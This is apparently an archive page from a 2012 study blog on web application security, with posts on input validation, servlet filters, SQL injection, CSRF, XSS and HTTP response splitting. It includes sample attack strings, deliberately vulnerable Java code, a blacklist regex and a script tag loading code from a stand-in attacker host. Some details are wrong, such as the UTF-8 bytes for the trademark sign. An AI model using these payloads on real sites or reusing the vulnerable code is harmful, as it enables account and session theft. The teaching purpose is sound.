SANS Dev 541

Blacklisting & Whitelisting

Posted on October 24, 2012. Filed under: SANS Dev 541 |

Blacklisting & Whitelisting is more of a philosophical problem than data validation problem.

The advantage of whitelisting is more secure, the disadvantage is high cost to write the code and easy to over kill. In order to whitelisting, you need to know exactly what pattern your data field needs, no more no less.

The advantage of blacklisting is lower cost of writing the code, the disadvantage is less secure. In theory, blacklist can never be secure, you have to assume you know every possible malicious patterns, both now and in the future.

Practically, the sweet point is to combine whitelisting and blacklisting. You sort all possible pattern to a few types. For some type, you apply blacklist, then whitelist all; while for other type, you apply whitelist, then blacklist all.

This video is about firewall blacklisting & whitelisting strategy, but it apply to web appellation data validation also.

Read Full Post | Make a Comment ( None so far )

Common Web App Defenses

Posted on October 24, 2012. Filed under: SANS Dev 541 |

Having learned about Web App Attacks, now we will study Web Application Defense.

Like any defense, you need to be invincible, know your enemy and yourself, understand the current situation.

Here is a good introduction video about web application defense.

Read Full Post | Make a Comment ( None so far )

ServletFilters

Posted on October 24, 2012. Filed under: SANS Dev 541 |

The java servlet specification version 2.3 introduces the new component type called Filter. The filter intercepts requests and responses to transform the content in them. The filter do not of themselves create response but instead provides functions that can be attached to any type of servlet or JSP pages.

The filter API is defined by the Filter, FilterChain, and FilterConfig interfaces in the javax.servlet package. You define a filter by implementing the Filter interface. A filter chain, passed to a filter by the container, provides a mechanism for invoking a series of filters. A filter config contains initialization data.

The most important method in the Filter interface is the doFilter method, which is the heart of the filter. In doFilter method, we can examines the request headers, modify request headers or data, invoke the next entity in the filter chain. It invokes the next entity by calling the doFilter method on the chain object.

For example, Currently, many browsers do not send character encoding information in the Content-Type header of an HTTP request. If an encoding has not been specified by the client request, the container uses a default encoding to parse request parameters. If the client hasn’t set character encoding and the request parameters are encoded with a different encoding than the default, the parameters will be parsed incorrectly. You can use the method setCharacterEncoding in the ServletRequest interface to set the encoding.

-CharSetFilter.java —

 import javax.servlet.*;

public class CharSetFilter implements Filter {

private FilterConfig filterConfig = null;

public void doFilter(ServletRequest request,
 ServletResponse response, FilterChain chain) throws
 IOException, ServletException {
 String encoding = selectEncoding(request);
 if (encoding != null)
 request.setCharacterEncoding(encoding);
 chain.doFilter(request, response);
 }
 public void init(FilterConfig filterConfig) throws
 ServletException {
 this.filterConfig = filterConfig;
 this.encoding = filterConfig.getInitParameter("encoding");
 }

public void destroy() {
 this.filterConfig = null;
 }

protected String selectEncoding(ServletRequest request) {
 return (this.encoding);
 }

}

-WEB.xml related changes—


<filter>
 <filter-name>charsetfilter</filter-name>
 <filter-class>net.CharSetFilter</filter-class>
 </filter>
 <filter-mapping>
 <filter-name>charsetfilter</filter-name>
 <url-pattern>/*</url-pattern>
 </filter-mapping>

The following is a video tutorial about ServletFilters.

[youtube http://www.youtube.com/watch?v=U5fXA9BRtTs] Read Full Post | Make a Comment ( None so far )

Regular Expressions

Posted on October 24, 2012. Filed under: SANS Dev 541 |

Data Validation is one of the most effective ways of preventing XSS, we either whitelist characters we accept for a field or blacklist malicious special characters, for example:

Char < > : { } [ ] ;
Hex Char Code %3c %3e %22 %3a %7b %7d %5b %5d %3b

With java regular expressions, we can apply blacklist and/or whitelist to data fields in web applications, providing that we know exactly what character set the web page will use.

For example, the following code snippets check servlet request for malicious xxs and sql injection special characters:


import java.util.regex.*;
import javax.servlet.*;
import java.util.Enumeration;

/**
 *
 * @param request
 * @return
 */
 private boolean validateParameters(ServletRequest request) {
 Enumeration<String> params = request.getParameterNames();
 String paramName;
 while (params.hasMoreElements()) {
 paramName = params.nextElement();
 if (searchReservedChars(request.getParameter(paramName), paramName)) {
 return false;

}
 }
 return true;
 }

private boolean searchReservedChars(String value, String paramName) {

value=value.toLowerCase();
 Pattern xsspattern = Pattern.compile([\\w]*((%27)|(‘))\\s*((%6F)|o|(%4F))((%72)|r|(%52))”
 + “|[\\w]*((%27)|(‘))\\s*((%61)|a|(%41))((%6E)|n|(%4E))((%64)|d|(%44))”
 + “|(((%3E)|>|(%3C)|<))”
 + “|(((%3E)|>|(%3C)|<)+.*[://.=/(/);'\"&#-]+.*)”
 + “|(.*[://.=/(/);'\"&#-]+.*((%3E)|>|(%3C)|<)+)”
 + “|(((%3C)|<)((%69)|i|(%49))((%6D)|m|(%4D))((%67)|g|(%47))[^\\n]+((%3E)|>)));
 Matcher match = xsspattern.matcher(value);
 if(match.find()) {
 errorMessage = new StringBuffer();
 String charstr = value.substring(match.start(), match.end());
 charstr = charstr.replaceAll(“>”, “&gt;”);
 charstr = charstr.replaceAll(“<”, “&lt;”);
 errorMessage.append(“Suspicious input [ ").append(charstr).append(" ]. Use the browser Back key to return to the previous screen to correct this problem.”);
 return true;
 }
 return false;
 }
 }

The following video is an introduction of java.util.regex.* library and how to construct regular expressions.

Read Full Post | Make a Comment ( None so far )

Character encoding (unicode, UTF-8, ASCII)

Posted on October 23, 2012. Filed under: SANS Dev 541 |

Unicode is a computing industry standard for the consistent encoding, representation and handling of text expressed in most of the world’s writing systems.

Unicode can be implemented by different character encodings. The most commonly used encodings are UTF-8 and UTF-16.

UTF-8 uses one byte for any ASCII characters, which have the same code values in both UTF-8 and ASCII encoding, and up to four bytes for other characters.
The UTF-8 method maps code points to a sequence of bytes ranging in length from 1 to 4 bytes. Each byte within the sequence contains both control bits and non-control bits. The control bits indicate how many bytes there are in a given sequence, and whether a given byte is the first in the sequence or one of the “trailing” bytes. The figure below illustrates how these control bits are interpreted. The non-control bits of each byte in a sequence are used to record the character code value (i.e., code point) assigned by the Unicode Standard.

The standard specifies that the correct encoding of a codepoint use only the minimum number of bytes required to hold the significant bits of the codepoint. Longer encodings are called overlong and are not valid UTF-8 representations of the codepoint. This rule maintains a one-to-one correspondence between codepoints and their valid encodings, so that there is a unique valid encoding for each codepoint. Allowing multiple encodings would make testing for string equality difficult to define.

The first 128 characters of Unicode, which correspond one-to-one with ASCII, are encoded using a single octet with the same binary value as ASCII, making valid ASCII text valid UTF-8-encoded Unicode as well.

At the top of Figure 2, the binary representation of the code value for the trademark symbol is given. The trademark simbol has Unicode value U+2122, it requires three bytes for its UTF-8 representation, which are C2 84 A2

The following video compares ASCII, Unicode and UTF-8.

This video discuss UTF-8 from a historical perspective.

Read Full Post | Make a Comment ( 1 so far )

HTTP Response Splitting

Posted on October 22, 2012. Filed under: SANS Dev 541 |

In normal HTTP Header, each line is terminated with the carriage return (CR, ASCII 0x0D) and line feed (LF, ASCII 0x0A), and the entire message is terminated with two consecutive carriage return line feed.

HTTP response splitting takes place when user input is used within HTTP response, and that input contains the carriage return line feed followed by the content supplied by the attacker in the Header section of its response.

HTTP response splitting can be used to perform cross site scripting attacks, web Cache poisoning and phishing. The generic solution is to URL encode strings before inclusion into HTTP headers such as location or Set-Cookie.

Normal HTTP redirect.

HTTP Response Splitting

For example:

Suppose GET the following URL

http://vitimsite.com/reports.jsp?name=onboard

will be redirected to another URL

http://vitimsite.com/onboard.jsp

A hacker can exploit the HTTP Response Splitting and launch a XSS attack.

step 1. attacker send an email to a user with the following link in the email

http://victimsite.com/reports.jsp?name=onboard%0d%0aContent-Length:  0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0aContent-Length:32%0d%0a%0d%0a<html><script>alert('HTTP Response Splitting')</script></html>

step 2. since this link is from a normal site, the email passed cooperate filter and arrives in the user’s email box.

step 3. user click the link in the email.

The HTTP Response in this case would looks like:

HTTP/1.1 302 Moved Temporarily

Date: Mon, 22 October 2012 18:40:32 GMT

Location: http://victimsite.com/onboard.jsp?report=onboard

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 32

<html><script>alert('HTTP Response Splitting')</script></html>

At this point, a malicious code is executed on the user’s browser.

Read Full Post | Make a Comment ( None so far )

Parameter Manipulation

Posted on October 22, 2012. Filed under: SANS Dev 541 |

Parameter manipulation: Some Web Applications depend on users’ HTTP GET or POST request Parameters to make important decisions such as the user’s permission level, the price of the user’s purchase, some good how many failed login attempt the user has tried, assuming that the user will not change these values. An attacker can take advantage of this blind trust. By changing the request parameters before sending to the server, the attacker can escalate his/her permission level, get sensitive information, changing price, and launch other attacks. The most common scenario is that attackers set up a proxy server (say Burp or Paros) between the user browser and a remote server. Before the request is sent to server, it is intercepted by the proxy. The attacker can change any request parameters, then send the tampered HTTP request to the server.

For example, the following java web application code snippets is vulnerable to parameter manipulation. A hacker can manipulate request parameter “customer” in order to view customerA’s private information.

String customer = request.getParameter("customer");
if(customer!=null && customer.equals('companyA')) {
   showReport(companyA);
   response.sendRedirect("checkInvoice.jsp?company"+company);
}

The following is an example of parameter manipulation with web browser and proxy server:

The following is another example of parameter manipulation and defense techniques:

Read Full Post | Make a Comment ( None so far )

SQL Injection

Posted on October 21, 2012. Filed under: SANS Dev 541 |

SQL injection is a technique hacker used to attack the website. The idea behind SQL injection is vulnerable web application rely on users’ input to build a SQL query. For example,

The following two java code snippets take a user input and build a sql query:

snippets 1:

================================

Statement stmt = conn.createStatement();

ResultSet rs;

String name = request.getParameter("Name");

rs = stmt.executeQuery("select * from users where name = '"+name+"'");

========================

snippets 2:

PreparedStatement pstmt = conn.prepareStatement("select * from users where name = ?");

ResultSet rs;

String name = request.getParameter("Name");

pstmt.setString(1,name);

rs = pstmt.executeQuery();

================================

A normal user will put a valid string such as “Tom Hanks” as Name field.

In code snippets one and code snippets two, the built sql will be:

select * from users where name = ‘Tom Hanks’

An attacker realized that there is a SQL injection vulnerability in code snippets one and want to expire, he will put something like the following in Name field:

fake name’ or ‘1’=’1

In code snippets one:

the built sql will returns all the user information in users table, which is not the code snippets intended to do.

select * from users where name = 'fake name' or '1'='1'

Luckily code snippets two is un-exploitable for sql injection — the built sql will be:

select * from users where name = 'fake name \' or \'1\'=\'1'

with the escaping of single quote, the attackers’ evil intention is defeated.

Read Full Post | Make a Comment ( None so far )

Cross-site Request Forgery (CSRF)

Posted on October 21, 2012. Filed under: SANS Dev 541 |

Cross-site request forgery attack exploits the trust the website has in its users.

A malicious code is embedded on a malicious website, when user happens to visit that malicious website, a GET or POST request is sent it to victim website in behave of that user. If the user has a valid session on that victim website, the attacker can perform malicious actions as a valid user.

Let’s take an example.

  1. step one.  the victim visits his bank website and logins his account.
  2. step two. the same user browses a bulletin board website while still has valid session in bank website.
  3. step three. there is an image tag at the bulletin board website, the location is not point to a real image, but point to the bank website. When the image tag is rendered, the request is sent to the bank website requesting $1000 transfer from victim’s bank account to attacker’s bank account.
<img src="http://goodbank.com/transfer.jsp?receiver=badguy&amount=1000"></img>

The attacker can go one step further and embed a script tag in bulletin board website, which calls malicious code from attacker’s website to perform more sophisticated attacks.

<script src="http://attacker_code_store/attack_bank.js"></script>

In the attack_bank.js,

alert('I can do anything here!');

parseResponse();

modifyHTTPHeaders();

addRecipient();

transferMoney();

function parseResponse() {

...

hacker can use ajax XMLHTTPRequests object to programmatically send a series of HTTP post requests to perform actions such as parse response, modify HTTP headers, add recipient, transfer money etc. At the mean time, the bank site is thinking that a valid user is browsing the website and performing some valid transactions.

The following video is another example, where the malicious code is embedded in an iframe which is invisible to the victim.

Read Full Post | Make a Comment ( None so far )

Cross Site Scripting (XSS)

Posted on October 21, 2012. Filed under: SANS Dev 541 |

Cross Site Scripting is the most common vulnerabilities in websites today. Dynamic web applications allow user to post input to the website. If user put javascript as part of the input, when the input is redisplayed on the users’ browser, it will interpret the Javascript as actual code rather than displaying it on the screen. Web application can prevent this kind of attack by limiting the kinds of input received, checks for the presence of malicious characters, or encode output.

There are two types of XSS attacks.

  • Stored XSS. This is where an attacker can upload input containing malicious script to the web application. The malicious script is then stored on the server and then displayed at all browsers which assess a particular page. For example, in bulletin board, where a user enters in a message which contains malicious script, that message is then displayed on the board, and the script executed in all the browsers that visit that page.
  • Reflective XSS. This is where a site immediately redisplays the user input without actually Store it in a given page. For example, when user visit a malicious site and a malicious input is send to the vulnerable website in behalf of the use. The response page we automatically executes on the clients browser. Sometimes JavaScript can display user’s session and send it to attackers website.
  • Let’s have a case study and see how a hacker use XSS to steal a bank customer’s bank account.

Example:

In the following xss.jsp, the value of request parameter “ID” will be displayed in the response page:

<html><%=request.getParameter("ID") %></html>

If attacker issue a request parameter containing javascript as the following, the browser’s cookie (sometimes contains browser session) may be steal.

http://host/xss.jsp?ID=<script>alert(document.cookie)</script>
Read Full Post | Make a Comment ( None so far )

« Previous Entries

Liked it here?
Why not try sites on the blogroll...